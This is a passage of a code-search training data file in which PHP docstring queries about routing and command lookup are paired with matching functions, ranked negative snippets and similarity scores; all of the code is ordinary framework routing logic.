"0.5183672", "0.5183393", "0.5181763", "0.5168181", "0.51621056", "0.51607245", "0.5152062", "0.51362616", "0.5130205", "0.5127034", "0.51244164" ]
0.0
-1
Get route rule object by gearman API command name.
public function getRoute($command) { if ($command instanceof IGearmanJob) { $command = $command->getCommandName(); } $command = strtolower($command); return $this->_routeList->itemAt($command); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getRoute($name){ }", "public function getRoute(): Route;", "public function getCommand($name)\n {\n $this->ensureCommandExists($name);\n\n return $this->commands[$name];\n }", "public function get(string $name){\n foreach($this->routes as $route){\n\t\t\tif($route->matchName($name))\n\t\t\t\treturn $route;\n\t\t}\n\t\treturn null;\n }", "public function getRoute($name) {\n\t\tif (! isset ( $this->_routes [$name] )) {\n\t\t\tthrow new \\Core\\Exception ( \"Route $name is not defined\" );\n\t\t}\n\t\t\n\t\treturn $this->_routes [$name];\n\t}", "public function getRoutingTool(){\n $resourceDefinition = (new ResourceDefinition())->newQueryWithoutScopes()->where('_id','=',$this->id_resourceDefinition['$id'])->first();\n $routingTool = $resourceDefinition->routingTool;\n\n return $routingTool;\n }", "public function getCommand(string $command);", "public function get($name)\n {\n if(!$this->has($name)) {\n return null;\n }\n return $this->routes[$name];\n }", "public static function getRule($name)\n {\n }", "public function getByName($name)\n {\n if (isset($this->attributes[$name])) {\n return $this->newRoute($this->attributes[$name]);\n }\n\n return $this->routes->getByName($name);\n }", "public function get_route($request_route) {\n\n\n if (array_key_exists($request_route[\"_method\"], $this->_routes)) {\n\n if (array_key_exists($request_route[\"_rule\"], $this->_routes[$request_route[\"_method\"]])) {\n return $this->_routes[$request_route[\"_method\"]][$request_route[\"_rule\"]];\n } else { // search for match routes\n\n foreach ($this->_routes[$request_route[\"_method\"]] as $_route) {\n\n if ($_route->_match) {\n\n $request_rule = explode(\"/\", trim($request_route[\"_rule\"], \"/\"));\n $permit_rule = explode(\"/\", trim($_route->_rule, \"/\"));\n\n if (count($request_rule) == count($permit_rule)) {\n $match = true;\n foreach ($request_rule as $index => $value) {\n\n if (($request_rule[$index] != $permit_rule[$index]) and ($permit_rule[$index] != ApplicationRoute::dynamical_segment)) {\n $match = false;\n break;\n }\n }\n if ($match) {\n\n $permit_match_rule = explode(\"/\", trim($_route->_match_rule, \"/\"));\n preg_match_all('@:([\\w]+)@', $_route->_match_rule, $segments, PREG_PATTERN_ORDER);\n $segments = $segments[0];\n\n // get methodları için locals'a yükle : değişkenler\n foreach ($segments as $segment) {\n if ($index = array_search($segment, $permit_match_rule)) {\n $_route->_locals[substr($segment, 1)] = $request_rule[$index];\n }\n }\n\n return $_route;\n }\n }\n }\n }\n }\n return null;\n //throw new ConfigurationException(\"Böyle bir yönlendirme mevcut değil\", $request_route[\"_method\"] . \":\" . $request_route[\"_rule\"]);\n }\n throw new ConfigurationException(\"Uzay çağında bizim henüz desteklemediğimiz bir method\", $request_route[\"_method\"]);\n }", "public function getApiRoute(): string;", "public function getRoute($name)\n {\n if (isset($this->routes[$name])) {\n $route = $this->routes[$name];\n } else {\n throw new \\RuntimeException(\"Cannot find route {$name}\");\n }\n\n return $route;\n }", "public function getNamed(string $name): Route|null;", "function getRule($id) {\n\t\t$this->loadRules();\n\n\t\t$rule = array(\n\t\t\t'id' => '',\n\t\t\t'name' => '',\n\t\t\t'active' => true,\n\t\t\t'criteria' => array(\n\t\t\t\t'all'\t=> false,\n\t\t\t),\n\n\t\t\t'actions' => array(\n\t\t\t\tarray(\n\t\t\t\t\t'function' => '',\n\t\t\t\t\t'type' => '',\n\t\t\t\t\t'class' => '',\n\t\t\t\t\t'action' => array(),\n\t\t\t\t\t'args' => array(),\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\n\t\tif(!empty($id)) {\n\t\t\tforeach($this->rules as $rule) {\n\t\t\t\tif($rule['id'] == $id) {\n\t\t\t\t\treturn $rule;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $rule;\n\t}", "public function getRoute();", "public function get($name) {\n try {\n return $this->provider->getRouteByName($name);\n }\n catch (RouteNotFoundException $e) {\n return;\n }\n }", "protected function getCommandByName( Blueprint $blueprint, $name )\n\t{\n\t\t$commands = $this->getCommandsByName( $blueprint, $name );\n\n\t\tif ( count( $commands ) > 0 )\n\t\t{\n\t\t\treturn reset( $commands );\n\t\t}\n\t}", "public function findCommand($name) {\n $query = $this->pdo->prepare('SELECT * FROM yubnub.commands WHERE lowercase_name = :lowercaseName');\n $query->bindValue(':lowercaseName', mb_strtolower($name), PDO::PARAM_STR);\n $query->execute();\n if ($query->rowCount() > 0) {\n $row = $query->fetch(PDO::FETCH_ASSOC);\n return $this->createCommand($row);\n }\n return null;\n }", "public function getRule($name)\n {\n return isset($this->rules[$name])?$this->rules[$name]:null;\n }", "abstract public function getCommand(string $name): string;", "public function getConsoleRoute(): string;", "public function getRule();", "public function getCommand();", "public function getRouteMatch();", "public function getApiRoute(){\n\n return $this->api_route;\n \n }", "public function getAction(string $name): Action;", "abstract public function getRoute();", "public function getCommand() {}", "abstract public function getRouteMatch();", "public function getRoute ( $name )\n {\n if ( array_key_exists( $name, $this->routes) )\n return $this->routes[$name];\n\n throw new NotFound();\n }", "public function getRouteByName($name)\n {\n if (!array_key_exists($name, $this->routeByNameCache)) {\n $this->routeByNameCache[$name] = $this->doGetRouteByName($name);\n }\n\n return $this->routeByNameCache[$name];\n }", "private function getRule()\n\t{\n\t\t$className = $this->className;\n\t\treturn $className::rule();\n\t}", "protected function mapBotManCommands()\n {\n require base_path('routes/botman.php');\n }", "private function getRoute(){\n\t}", "public function getRule(int $number): RuleInterface;", "public function get_route()\n {\n }", "public function command()\n {\n return $this->parseCommand()[0];\n }", "abstract protected function getCommandResolver();", "public static function route()\n {\n return self::$route;\n }", "public function getRoute($name)\n {\n if (! $this->hasRoute($name)) {\n return null;\n }\n return $this->routes[$name];\n }", "public function getRoute()\n {\n }", "public function getCommand(RequestInterface $request);", "public function getDynamic(string $regex, string $method = null): Route|null;", "public function getRuleName(): string;", "public function getRuleName(): string;", "public function getReadNamespacedRoute(\n $name,\n $mnamespace,\n $exact = null,\n $export = null,\n $pretty = null\n ) {\n\n //the base uri for api requests\n $_queryBuilder = Configuration::$BASEURI;\n \n //prepare query string for API call\n $_queryBuilder = $_queryBuilder.'/oapi/v1/namespaces/{namespace}/routes/{name}';\n\n //process optional query parameters\n $_queryBuilder = APIHelper::appendUrlWithTemplateParameters($_queryBuilder, array (\n 'name' => $name,\n 'namespace' => $mnamespace,\n ));\n\n //process optional query parameters\n APIHelper::appendUrlWithQueryParameters($_queryBuilder, array (\n 'exact' => var_export($exact, true),\n 'export' => var_export($export, true),\n 'pretty' => $pretty,\n ));\n\n //validate and preprocess url\n $_queryUrl = APIHelper::cleanUrl($_queryBuilder);\n\n //prepare headers\n $_headers = array (\n 'user-agent' => 'APIMATIC 2.0',\n 'Accept' => 'application/json'\n );\n\n //call on-before Http callback\n $_httpRequest = new HttpRequest(HttpMethod::GET, $_headers, $_queryUrl);\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnBeforeRequest($_httpRequest);\n }\n\n //and invoke the API call request to fetch the response\n $response = Request::get($_queryUrl, $_headers);\n\n $_httpResponse = new HttpResponse($response->code, $response->headers, $response->raw_body);\n $_httpContext = new HttpContext($_httpRequest, $_httpResponse);\n\n //call on-after Http callback\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnAfterRequest($_httpContext);\n }\n\n //handle errors defined at the API level\n $this->validateResponse($_httpResponse, $_httpContext);\n\n $mapper = $this->getJsonMapper();\n\n return $mapper->mapClass($response->body, 'OpenShiftAPIWithKubernetesLib\\\\Models\\\\V1Route');\n }", "public function route(): RouteContract;", "public function __get($name)\n {\n if (!array_key_exists($name, $this->commands)) {\n $commandClass = $this->commandClass($name);\n if (class_exists($commandClass)) {\n $this->commands[$name] = new $commandClass($this);\n return $this->commands[$name];\n }\n throw new CastException(sprintf('The Cast Command class %s does not exist', $commandClass));\n }\n return $this->commands[$name];\n }", "public function name(): RouteNameInterface;", "function getRouteName();", "function admin_route(string $method, string $uri): ?\\stdClass {\n $routes = require_once __DIR__.DS.'routes.php';\n\n if (isset($routes[$method])) {\n $content = admin_get_content_object($method, $uri, $routes);\n } else {\n throw new InternalException(\"Unsupported HTTP Method [$method]\");\n }\n\n return $content;\n}", "public function getById(Request $request) {\n $id = $request->input('id');\n if (is_numeric($id)) {\n return Route::find($id);\n } else {\n // @TODO: Foutafhandeling\n }\n }", "public static function getById($id = null)\n\t{\n\t\treturn Route::where('id', $id)->first();\n\t}", "public function getRule()\n {\n return $this -> rule;\n }", "public function getRule(): RuleInterface\n {\n return $this->rule;\n }", "public function getCommand()\n {\n }", "protected function getCommand(RequestInterface $request)\n {\n $requestType = $request->getRequestType();\n $token = $request->getToken();\n if (empty($this->command[$requestType->getValue()][$token])) {\n return null;\n }\n $commands = $this->command[$requestType->getValue()][$token];\n if ($request instanceof SlashRequest) {\n if (!empty($commands[$request->getCommand()])) {\n return $commands[$request->getCommand()];\n }\n if (!empty($commands[''])) {\n return $commands[''];\n }\n return null;\n }\n return $commands;\n }", "public static function getRoute() {\n\n\t\tif (self::_hasAdapter(get_class(), __FUNCTION__))\n\t\t\treturn self::_callAdapter(get_class(), __FUNCTION__);\n\n\t\t$route = (isset(self::$route_options['route'])) ? self::$route_options['route'] : null;\n\n\t\tself::_notify(get_class() . '::' . __FUNCTION__, $route);\n\t\t$route = self::_applyFilter(get_class(), __FUNCTION__, $route, array('event' => 'return'));\n\n\t\treturn $route;\n\t}", "public function route()\n {\n return call_user_func($this->getRouteResolver());\n }", "abstract protected function getCommand();", "private function get_command_object( string $command_key ): ?Command {\n\t\tforeach ( $this->get_commands() as $command ) {\n\t\t\tif ( $command->get_key() == $command_key ) {\n\t\t\t\treturn $command;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}", "public function getCommand() {\n\t\t$spec = self::$specs[$this->id];\n\t\treturn array_value($spec, \"command\", NULL);\n\t}", "public function getOperation($name);", "public static function translateRuleName($name)\n\t{\n\t\tif(isset(self::$builtInRules[$name]))\n\t\t\treturn self::$builtInRules[$name];\n\t\telse\n\t\t\treturn $name;\n\t}", "public function getDefinition(): RuleDefinition\n {\n }", "public function getDefinition(): RuleDefinition\n {\n }", "public static function get_rule($key)\n {\n if(array_key_exists($key, self::$rules))\n {\n return self::$rules[$key];\n }\n else\n {\n return FALSE;\n }\n }", "public function getRoute() {\n\t\treturn $this->route;\n\t}", "public function getRoute()\n\t{\n\t\treturn $this->route;\n\t}", "public function getRoute()\r\n {\r\n return $this->route;\r\n }", "public function getRoute(){\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getReadNamespacedRouteStatus(\n $name,\n $mnamespace,\n $pretty = null\n ) {\n\n //the base uri for api requests\n $_queryBuilder = Configuration::$BASEURI;\n \n //prepare query string for API call\n $_queryBuilder = $_queryBuilder.'/oapi/v1/namespaces/{namespace}/routes/{name}/status';\n\n //process optional query parameters\n $_queryBuilder = APIHelper::appendUrlWithTemplateParameters($_queryBuilder, array (\n 'name' => $name,\n 'namespace' => $mnamespace,\n ));\n\n //process optional query parameters\n APIHelper::appendUrlWithQueryParameters($_queryBuilder, array (\n 'pretty' => $pretty,\n ));\n\n //validate and preprocess url\n $_queryUrl = APIHelper::cleanUrl($_queryBuilder);\n\n //prepare headers\n $_headers = array (\n 'user-agent' => 'APIMATIC 2.0',\n 'Accept' => 'application/json'\n );\n\n //call on-before Http callback\n $_httpRequest = new HttpRequest(HttpMethod::GET, $_headers, $_queryUrl);\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnBeforeRequest($_httpRequest);\n }\n\n //and invoke the API call request to fetch the response\n $response = Request::get($_queryUrl, $_headers);\n\n $_httpResponse = new HttpResponse($response->code, $response->headers, $response->raw_body);\n $_httpContext = new HttpContext($_httpRequest, $_httpResponse);\n\n //call on-after Http callback\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnAfterRequest($_httpContext);\n }\n\n //handle errors defined at the API level\n $this->validateResponse($_httpResponse, $_httpContext);\n\n $mapper = $this->getJsonMapper();\n\n return $mapper->mapClass($response->body, 'OpenShiftAPIWithKubernetesLib\\\\Models\\\\V1Route');\n }", "public function getCommand(string $name)\n {\n $commands = $this->getCommands();\n\n foreach ($commands as $group => $commandsGroup) {\n if (isset($commandsGroup[$name])) {\n return true;\n }\n }\n\n return false;\n }", "public function getRule()\n\t{\n\t\treturn $this->rule;\n\t}", "public function getRouteName();", "public function route() {\n\n try {\n \n $obj = APIFactory::init($this->parsed_path[0]);\n echo $this->getAction($obj, $this->parsed_path);\n \n } catch(UndefinedActionException $e) { \n\n echo $e->getMessage();\n\n } catch(Exception $e) {\n\n echo $e->getMessage();\n\n }\n }", "protected function get5f34d750a5fcad2449cb7b81f89a57492dc2a795006c02d9b865276ad3291746(): \\Viserio\\Component\\Routing\\Command\\RouteListCommand\n {\n $this->services[\\Viserio\\Component\\Routing\\Command\\RouteListCommand::class] = $instance = new \\Viserio\\Component\\Routing\\Command\\RouteListCommand(($this->services[\\Viserio\\Contract\\Routing\\Router::class] ?? $this->get410eb27931e780eeccc23e52a6c17e0e6e2e1827d28f90c4254c8f4111788d4e()));\n\n $instance->setName('route:table');\n\n return $instance;\n }", "protected final function commandForToken($token)\n {\n if (isset($this->commandMap[$token])) return $this->commandMap[$token];\n return NULL;\n }", "public function command($commandId)\n {\n return $this->request('get', '/api/commands/'.$commandId);\n }", "public function getCommand()\n {\n return $this->oCommand;\n }", "private function getRoute() {\n $path = $_SERVER['PATH_INFO'];\n\n $parts = explode('/', trim($path, '/'));\n $action = array_shift($parts);\n $this->uri_params = $parts;\n\n if (!$action) $action = 'index';\n $action .= 'Action';\n return array($this, $action);\n }", "public function getRule(): ?string { return $this->server->getRule(); }", "public function get()\n\t{\n\t\t\n\t\t$route = $this->__path;\n\t\t\n\t\tif( $this->__mapper )\n\t\t{\n\t\t\t\n\t\t\t$map = $this->__mapper->match($this->__path);\n\t\t\n\t\t\tif( $map )\n\t\t\t{\n\t\t\t\t$route = $map;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\treturn self::sanetize($route);\n\t\t\n\t}", "function find_route_by_name(string $name, string $module): ?array\n{\n foreach (Router::getRoutes() as $route) {\n if (isset($route['name']) &&\n strtolower($route['name']) == strtolower($name) &&\n strtolower($route['module']) == strtolower($module)) {\n \n return $route;\n }\n }\n\n return null;\n}", "private function getRouteByName($name)\n {\n if (strcasecmp($name, '::current') === 0) {\n return $this->router->current();\n }\n\n if (!$this->router->has($name)) {\n throw new RouteNotFoundException(\"Route named \\\"$name\\\" was not found.\");\n }\n\n return $this->router->getRoutes()->getByName($name);\n }", "public function getCustomRoute($name)\n {\n foreach ($this->routes as $route => $content) {\n $extractor = explode(' ', $route);\n if($name === $extractor[0]){\n return $route;\n }\n }\n return null;\n }", "public function get()\n\t\t{\n\t\t\treturn $this->command;\n\t\t}", "public function findByUrl(string $url): RoutingEntry;", "public function get($name = null) {\n\t\tif ($name) {\n\t\t\treturn isset($this->_rules[$name]) ? $this->_rules[$name] : false;\n\t\t}\n\t\treturn $this->_rules;\n\t}", "function matchRule()\n {\n $value = $this->readLine($this->position);\n\n if (!isset($this->rules[$this->state][$value])) {\n\n var_dump('No rule found for value ' . $value);\n die;\n }\n\n return $this->rules[$this->state][$value];\n }", "public function getCommand() {\n\t\t$command = $this->extractCommand() .'Action';\n\n\t\tif( $this->_verbose )\n\t\t\t$this->set( '_command', $command );\n\n\t\treturn $command;\n\t}", "function get($name) {\r\n\t\treturn $this->_send(array('cmd'=>'get', 'name'=>$name));\r\n\t}" ]
[ "0.5835218", "0.5592664", "0.5587804", "0.55646175", "0.55611694", "0.55590427", "0.55518854", "0.55432296", "0.5480798", "0.54598147", "0.5412522", "0.5389719", "0.5367865", "0.53475285", "0.5344391", "0.531506", "0.52793324", "0.5249557", "0.52386665", "0.52362275", "0.52360815", "0.52259696", "0.5184496", "0.51641506", "0.5162548", "0.5134721", "0.5108511", "0.5071778", "0.5070702", "0.5027471", "0.49967593", "0.49566633", "0.49519452", "0.49307933", "0.4924404", "0.49230456", "0.4916128", "0.4902203", "0.48971346", "0.4894668", "0.48945633", "0.48818755", "0.48816162", "0.48687297", "0.4865483", "0.4865483", "0.48525038", "0.48460713", "0.4834572", "0.4833151", "0.48256135", "0.48252705", "0.48250368", "0.48044965", "0.47857365", "0.47746977", "0.47713578", "0.47709572", "0.47623748", "0.47622707", "0.47599766", "0.47571215", "0.47543228", "0.47461474", "0.47436076", "0.47345108", "0.47345108", "0.47214487", "0.4713701", "0.4704933", "0.4703585", "0.4700831", "0.4697568", "0.4697568", "0.4697568", "0.4697568", "0.4697568", "0.4697568", "0.4697568", "0.4690261", "0.46884516", "0.46811205", "0.46683872", "0.46661803", "0.4660036", "0.4658961", "0.46468705", "0.4633633", "0.463191", "0.46317956", "0.46306938", "0.46231037", "0.46227646", "0.462187", "0.46195087", "0.46185648", "0.46172577", "0.4614445", "0.46057492", "0.46042395" ]
0.6089283
0
Return all registered route rules.
public function getRoutes() { return $this->_routeList->toArray(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function rules()\n {\n $method = explode('@', $this->route()->getActionName())[1];\n return $this->get_rules_arr($method);\n }", "public function findRules()\n {\n $keys = array();\n $values = array();\n \n foreach ($this->route as $key => $value) {\n \n $keys[] = $key; \n $values[] = $value; \n \n }\n \n return array(\"keys\" => $keys, \"values\" => $values);\n \n }", "public function rules()\n {\n // get action name\n $routeAction = app('router')->currentRouteAction();\n $method = trim( strrchr($routeAction, '@'), '@');\n $rules = [];\n\n // 是否有对应方法的验证规则\n if ( isset($this->ruleConfig[$method]) ) {\n $rules = $this->ruleConfig[$method];\n\n // 可以设置一个默认规则列表,没有对应规则时则用默认的\n } elseif ( ! empty($this->ruleConfig['__default'])) {\n $rules = $this->ruleConfig['__default'];\n }\n\n return $rules;\n }", "public function get_all_rules()\n {\n }", "public function rules()\n {\n return static::staticRules();\n }", "public function all(): array\n {\n return $this->routes;\n }", "private function getRegisteredRules()\n {\n return $this->registeredRules;\n }", "public function rules(){\n $rules = [];\n if(!empty($this->rules)){\n foreach ($this->rules as $action => $rule) {\n $regex = \"*\" . $action;\n if($this->is($regex)){\n $rules = $rule;\n break;\n }\n }\n }\n return $rules;\n }", "public function rules() : array\n {\n return StoreRulesService::getInstance()->get(\n array_merge($this->all(), [\n 'id' => $this->route('visit'),\n ])\n );\n }", "public function getRules() {\n\t\treturn $this->rules ?? [];\n\t}", "public function getRules();", "public function getRules()\n {\n return $this->get(self::_RULES);\n }", "public static function getRoutes() {\n return self::$instance->getRouteList();\n }", "public function rules()\n {\n $rules = [];\n $method = $this->getMethod();\n switch ($method) {\n case 'GET':\n if (Route::currentRouteName() === 'schoolActivity.getSchoolActivity') {\n $rules = [\n ];\n }\n break;\n }\n return $rules;\n }", "public static function getRoutes()\n {\n $a = array();\n $router = ROUTER::init();\n foreach ($router->assigns as $ass)\n {\n if (isset($ass['module']) and isset($ass['action']))\n {\n $a[] = array('route' => $ass['route'], 'execute' => $router->current_dir . '/' . $ass['module'] . '/' . $ass['action'] . '.action.php');\n }\n elseif (isset($ass['function']))\n {\n $a[] = array('route' => $ass['route'], 'function' => $ass['function']);\n }\n else\n {\n /*do nothing*/;\n }\n }\n return $a;\n }", "public function getRules(): array\n {\n return $this->rules;\n }", "public static function getRoutes(): array\n {\n return self::$routes;\n }", "public function getRoutes() {\n\t\treturn array_values($this->routes);\n\t}", "public function rules()\n {\n $this->buildRules();\n return $this->rules;\n }", "public function getRoutes();", "public function getRoutes();", "public function getRoutes()\r\n {\r\n $collection = $this->router->getRouteCollection();\r\n return $collection->all();\r\n }", "public function rules()\n {\n $commons = [\n\n ];\n return get_request_rules($this, $commons);\n }", "public function getRules() {}", "public static function all()\n\t{\n\t\treturn Route::$_routes + Kohana::$tree['routes']['external'];\n\t}", "public function getRules() : array\n {\n return $this->rules;\n }", "public function getRoutes(): array\r\n {\r\n return $this->routes;\r\n }", "public function getRoutes(): array\r\n {\r\n return $this->routes;\r\n }", "public function getRoutes() {\n return array();\n }", "public function getRules()\n {\n if (!isset($this->_rules)){\n $this->_getRules();\n }\n return $this->_rules;\n }", "public function rules(): array\n {\n switch ($this->method()) {\n case 'POST':\n return $this->createRules();\n\n case 'PUT':\n case 'PATCH':\n return $this->updateRules();\n\n case 'DELETE':\n return $this->deleteRules();\n\n default:\n return [];\n }\n }", "public function all()\n {\n $routes = parent::all();\n\n // sort routes by names - move custom actions at the beginning,\n // default at the end\n uksort($routes, function($route1, $route2) {\n $route1Match = preg_match('/(_|^)(get|post|put|delete|patch|head)_/', $route1);\n $route2Match = preg_match('/(_|^)(get|post|put|delete|patch|head)_/', $route2);\n\n if ($route1Match && !$route2Match) {\n return 1;\n } elseif (!$route1Match && $route2Match) {\n return -1;\n } else {\n return strcmp($route1, $route2);\n }\n });\n\n return $routes;\n }", "public function getRoutes() {\r\n\t\treturn array_merge($this->getFunctionRoutes(), $this->getClassRoutes());\r\n\t}", "public static function getRules() \n {\n return self::$rules;\n }", "public static function routes()\n {\n if (!static::$initialized) {\n static::_loadRoutes();\n }\n\n return static::$_collection->routes();\n }", "public function getRoutes(): array\n\t{\n\t\treturn $this->_routes;\n\t}", "public static function getRoutes()\n {\n return self::$routes;\n }", "public static function getRoutes()\n {\n return self::$routes;\n }", "public static function allRules()\n {\n }", "public function rules()\n {\n $rules = array();\n return $rules;\n }", "public function rules()\n {\n switch ($this->method()) {\n case 'POST':\n return $this->getPostRules();\n case 'PUT':\n return $this->getPutRules();\n }\n }", "public function getRoutes()\n\t{\n\t\treturn $this->routes;\n\t}", "public function getRoutes()\n\t{\n\t\treturn $this->routes;\n\t}", "public function getRoutes()\n\t{\n\t\treturn $this->routes;\n\t}", "public static function getRoutes();", "public static function getRoutes();", "public function routes()\r\n {\r\n return $this->routes;\r\n }", "public function all()\n {\n return self::$allRoutes;\n }", "public function getRules() {\n\t\treturn self::$rules;\n\t}", "public function getRoutes()\n {\n $results = array();\n\n foreach ($this->routes as $route) {\n if ($route->getActionName() != 'Closure') {\n $results[] = $this->getRouteInformation($route);\n }\n }\n\n return Collection::make(array_filter($results));\n }", "public function getRoutes() {}", "public function getRoutes() {\n\t\treturn $this->routes;\n\t}", "public function all() {\n return $this->provider->getRoutesByNames(NULL);\n }", "static public function routes()\n\t{\n\t\tglobal $core;\n\t\tstatic $constructed;\n\n\t\tif (!$constructed)\n\t\t{\n\t\t\t$constructed = true;\n\n\t\t\tself::$routes += $core->configs->fuse('routes', array(__CLASS__, 'routes_constructor'));\n\t\t}\n\n\t\treturn self::$routes;\n\t}", "public function getRules()\n {\n return $this->rules;\n }", "public function getRules()\n {\n return $this->rules;\n }", "public function getRules()\n {\n return $this->rules;\n }", "public function getRules()\n {\n return $this->rules;\n }", "public static function getRules(): array;", "public function getRules()\n {\n $rules = [];\n // Default UserAgent\n if (isset($this->rules[self::USER_AGENT])) {\n $rules = array_merge($rules, $this->rules[self::USER_AGENT]);\n }\n // Matching UserAgent\n if (isset($this->rules[$this->userAgentMatch])) {\n $rules = array_merge($rules, $this->rules[$this->userAgentMatch]);\n }\n // Result\n return $rules;\n }", "protected function defineRules()\n {\n return [];\n }", "public function getRoutes ()\n {\n return $this->routes;\n }", "public function rules()\n {\n switch (strtolower($this->method())) {\n case 'get':\n return $this->getMethodRules();\n case 'post':\n return $this->postMethodRules();\n case 'put':\n return $this->putMethodRules();\n case 'patch':\n return $this->patchMethodRules();\n case 'delete':\n return $this->deleteMethodRules();\n }\n }", "public static function routes()\n {\n return self::$routes;\n }", "public function getRoutes()\n {\n return $this->routes;\n }", "public function getRoutes()\n {\n return $this->routes;\n }", "public function getRoutes()\n {\n return $this->routes;\n }", "public function getRoutes()\n {\n return $this->routes;\n }", "public function getRoutes()\n {\n return $this->routes;\n }", "public function getRoutes()\n {\n return $this->routes;\n }", "public function getRoutes() {\n\n\t\treturn $this->_routes;\n\t}", "public function getRules()\r\n\t{\r\n\t\treturn $this->rules;\r\n\t}", "public function getRoutes() {\n\t\treturn $this->_routes;\n\t}", "public static function getRoutes(): array\n {\n require(root_path('routes.php'));\n return self::$called;\n }", "public function getRules()\r\n\t{\r\n\t\treturn $this->_rules;\r\n\t}", "public function getRoutes() : array;", "public function getRoutes() : array;", "public function getRoutes() {\n return $this->routes;\n }", "public function getRoutes() {\n return $this->routes;\n }", "public function getRoutes() {\n return $this->routes;\n }", "public function getRoutes() {\n \treturn $this->routes;\n }", "public function getRoutes()\n\t{\n\t\t$routes = array();\n\t\tarray_push($routes, CoreControllerObject::buildAction('/login', __CLASS__, CoreControllerObject::MATCH_TYPE_STRING));\n\t\treturn $routes;\n\t}", "public function getRules()\n {\n }", "public function getRules()\n {\n }", "public function getRules()\n {\n }", "public function getRouteList() {\n return $this->routes;\n }", "public function getRoutes()\n {\n $routes = array();\n array_push($routes, CoreControllerObject::buildAction('/admin/performanceutils', __CLASS__, CoreControllerObject::MATCH_TYPE_STRING));\n return $routes;\n }", "static function routes() {\n return self::$_routes;\n }", "public function getRules()\n {\n return (array) $this->rules;\n }", "public function getRoutes()\n {\n if (in_array(false, $this->loaded)) {\n $this->loadRoutes();\n }\n\n return $this->routes;\n }", "public function getRules() : array\n {\n return $this->getDaoRepository()->getRules();\n }", "public function rules()\n {\n return static::$rules;\n }", "public function getRules( )\n {\n return $this->rules;\n }", "public function rules(): array\n {\n switch ($this->method()) {\n case 'POST':\n return $this->__rules() + $this->__post();\n case 'PUT':\n return $this->__rules() + $this->__put();\n default:\n return [];\n }\n }", "public static function get_all_route()\n {\n return include BASE_PATH . 'routes'. DIRECTORY_SEPARATOR . 'web.php';\n }", "public function getRoutes(){\n return $this->routes;\n }", "public function getRules(): Collection;", "function getRoutes()\n {\n return $this->_routes;\n }", "public function getRules(): array;", "public function getRules(): array;" ]
[ "0.76651794", "0.7617379", "0.7570213", "0.7492853", "0.7303284", "0.7283939", "0.72834015", "0.72364753", "0.7186266", "0.7178922", "0.7171696", "0.711272", "0.7107234", "0.7107052", "0.71039164", "0.7077066", "0.7048593", "0.70453846", "0.7036164", "0.7035184", "0.7035184", "0.7005733", "0.699804", "0.6997882", "0.69869214", "0.69813997", "0.69801784", "0.69801784", "0.6972803", "0.69706446", "0.6964135", "0.6963097", "0.69586813", "0.6952241", "0.6947742", "0.6943711", "0.6928394", "0.6928394", "0.6910003", "0.6907176", "0.6903524", "0.6898572", "0.6898572", "0.6898572", "0.6893491", "0.6893491", "0.68928516", "0.68880755", "0.687796", "0.6868887", "0.6868375", "0.6863763", "0.68588233", "0.6849221", "0.6848717", "0.6848717", "0.6848717", "0.6848717", "0.68471795", "0.68438023", "0.68427896", "0.6835398", "0.68308175", "0.6816458", "0.68164057", "0.68164057", "0.68164057", "0.68164057", "0.68164057", "0.68164057", "0.6813083", "0.68099004", "0.6803052", "0.67910564", "0.6784022", "0.6781479", "0.6781479", "0.6779013", "0.6779013", "0.6779013", "0.6767284", "0.6757854", "0.6756831", "0.6756831", "0.6756831", "0.6752507", "0.6750395", "0.67492956", "0.6745237", "0.67343926", "0.6726268", "0.66656435", "0.6658651", "0.66479236", "0.6646995", "0.6644267", "0.6641211", "0.66057485", "0.659887", "0.659887" ]
0.67667544
81
Set route rule by handler name, action or custom route object.
public function setRoute($commandName, $route) { if (!$this->_routeList->contains(strtolower($commandName))) { $routeObject = null; if (is_string($route)) { $routeObject = new EGearmanRoute($commandName, $route, $commandName); } elseif (is_array($route)) { $routeObject = new EGearmanRoute($commandName, $route[0], $route[1]); } elseif ($route instanceof IGearmanRoute) { $routeObject = $route; } else { throw new InvalidArgumentException(Yii::t( 'gearman', 'Parameter "$route" must be string, array(2) or IGearmanRoute object, {type} given', array('{type}' => gettype($route)) )); } $this->_routeList->add(strtolower($commandName), $routeObject); } else throw new CException(Yii::t('gearman', 'Command "{command}" is registered now')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function SetRoute(string $reqMethod, string $path, callable $handler): void {\n $this->routes[$reqMethod][$path] = $handler;\n }", "public function setRoute() {\n $address = $_SERVER['REQUEST_URI'];\n \n $this->determineControllerAndMethod($address);\n\n $this->determineArguments($address);\n }", "public function setRoute($routeTo) {\n $this->isDynamic = true;\n $xRouteTo = null;\n $type = gettype($routeTo);\n\n if (!is_callable($routeTo) && $type != 'object' && !class_exists($routeTo)) {\n $cleaned = str_replace('\\\\', DS, $routeTo);\n $xRouteTo = str_replace('/', DS, $cleaned);\n $explode = explode('.', $routeTo);\n $extension = $explode[count($explode) - 1];\n\n if ($extension != 'php') {\n $this->isDynamic = false;\n }\n } else if (is_callable($routeTo)) {\n $this->setType(Router::CLOSURE_ROUTE);\n $xRouteTo = $routeTo;\n } else if ($type == 'object') {\n $xRouteTo = get_class($routeTo);\n } else if (class_exists($routeTo)) {\n $xRouteTo = $routeTo;\n }\n\n $this->routeTo = $xRouteTo;\n }", "public function assignRoute(array $route);", "public function setRoute(array $route): void;", "public function set($uri = null, $handler = null, $routeParams = array())\n {\n if (!isset($uri) || !isset($handler)) {\n return false;\n }\n\n // Check if passed handler is a Closure\n if ($handler instanceof Closure) {\n 